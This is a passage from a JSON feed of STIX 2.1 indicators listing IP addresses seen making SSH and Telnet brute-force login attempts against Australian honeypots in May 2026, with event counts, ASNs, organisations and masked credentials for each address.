      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--75e0b4f6-d492-498e-a4ae-fcb03a85fea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.203.211.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--92ebd1a1-8087-4d02-a627-5ab6a3640e24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.210.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T02:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--548de9ac-096f-4ffc-bc65-8a638018c452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T02:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.204.138.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T02:15:24.000Z",
      "valid_until": "2026-06-15T02:15:09.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): s*******3.",
      "id": "indicator--2436f9ec-52d4-40aa-9afa-40dfd8c63e1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.47.8.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b777c42e-695a-45a5-b397-b0025c7f42cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.57.164.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2949a2db-51fe-44c6-911a-43d4389fdd3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.147.50.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 203144. Organisation(s): Host9x Web Solutions Limited.",
      "id": "indicator--a2d47abd-2750-41c0-bcc9-c7d482358943",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.89.249.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A..",
      "id": "indicator--69423da0-a264-4963-93ac-ed344d0b0798",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.123.105.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--8d356161-75c1-406a-bfd6-6ecdf26b48c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.56.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37705. Organisation(s): TOPNET.",
      "id": "indicator--7b227a1b-b775-424d-842b-79735323591c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.1.242.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--9fc57f9a-3555-4080-973c-1a761f761cde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.124.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269461. Organisation(s): Xfiber Internet.",
      "id": "indicator--b7da4cc1-d940-4e7a-a31f-1a31a8f4cc97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.187.69.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--0ec87ea4-91a5-44ba-aaf3-41d20497f9a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.26.195.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:15:10.000Z",
      "valid_until": "2026-06-15T03:15:08.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ab68addc-332d-47d4-bd34-11dfdd1d6fea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.0.0.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--16f0a417-d734-4561-8b76-99e8ca317425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.76.226.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bb825fbb-0e7c-437d-b63f-2e6d27294f4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.34.17.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 215710. Organisation(s): HDM Dijital Hizmetleri Ticaret Limited Sirketi. Usernames observed (masked): r**t, a******c, 3**********4. Passwords observed (masked): 1******************b, 2**2, 2**********v, 3***********4, 3**********4.",
      "id": "indicator--5dfd89d2-f5be-42f4-a651-14b2759bfe9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.103.202.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A.. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1****3, 2**8, 9****!.",
      "id": "indicator--f5eeef58-cc39-4d72-93c0-e0cf1d7a7828",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.18.240.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--9d4a3b8d-be3e-4630-869c-f2aa57b75296",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.56.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--f41c4aaf-4740-48c3-bb8d-379d4323f190",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.58.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--14ba9a2a-82f7-4479-896e-98d45f14f068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.222.152.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--9dadcb47-f3f3-4c5a-a6e8-8f3426813d08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.137.114.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265786. Organisation(s): MUNICIPALIDAD DE MALAGUENO.",
      "id": "indicator--7035eef9-5706-4a29-9b74-30a7b473d38b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.141.149.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--ef6c3476-0420-44d0-93e2-9d35a017f444",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.97.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272122. Organisation(s): TELECOMUNICACIONES G-NETWORK, C.A..",
      "id": "indicator--353a698b-ff0f-4645-b6e6-9acbb4d18b69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.61.188.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--7aec095d-12a5-4df0-8f2f-1961b3f3d393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.19.62.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 52148. Organisation(s): Enix Ltd.",
      "id": "indicator--676d01fb-8f4e-43c6-acee-a60bc4a97edb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.204.209.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:15:11.000Z",
      "valid_until": "2026-06-15T04:15:09.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1******a, 1********t, C*********7.",
      "id": "indicator--072a9caf-20d5-4c53-8770-8a808bd992fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.150.103.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--9edc3a86-6cb4-4392-b3d6-1b88f2c79293",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.78.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262444. Organisation(s): XTURBO PROVEDOR DE INTERNET LTDA.",
      "id": "indicator--b7910155-2248-4853-9e50-997e84ec21b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.52.106.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--44941baf-2dc4-4180-9d80-361cdfea6a21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.60.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--fe368108-95a6-472a-bfae-f89a7bed2c79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.60.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc20431f-dc08-45fc-8e9a-2bc54bed62c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DK. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--73cf7f1b-0562-4d5e-aa55-a7c0c777d8e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.58.46.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, d*****a, 3**********4, m*****a, r****r. Passwords observed (masked): 1***5, 3***********4, 3**********4, A*******~, F******6.",
      "id": "indicator--e2fa9bed-254a-4141-ac11-d25c56fd3b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.116.34.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
      "valid_until": "2026-06-15T05:15:08.000Z"
    },
    {
      "created": "2026-05-14T05:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 58487. Organisation(s): CV. Rumahweb Indonesia.",
      "id": "indicator--04f84f04-9fa5-47bf-a48e-b997a1a603fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-14T05:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.10.43.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:15:12.000Z",
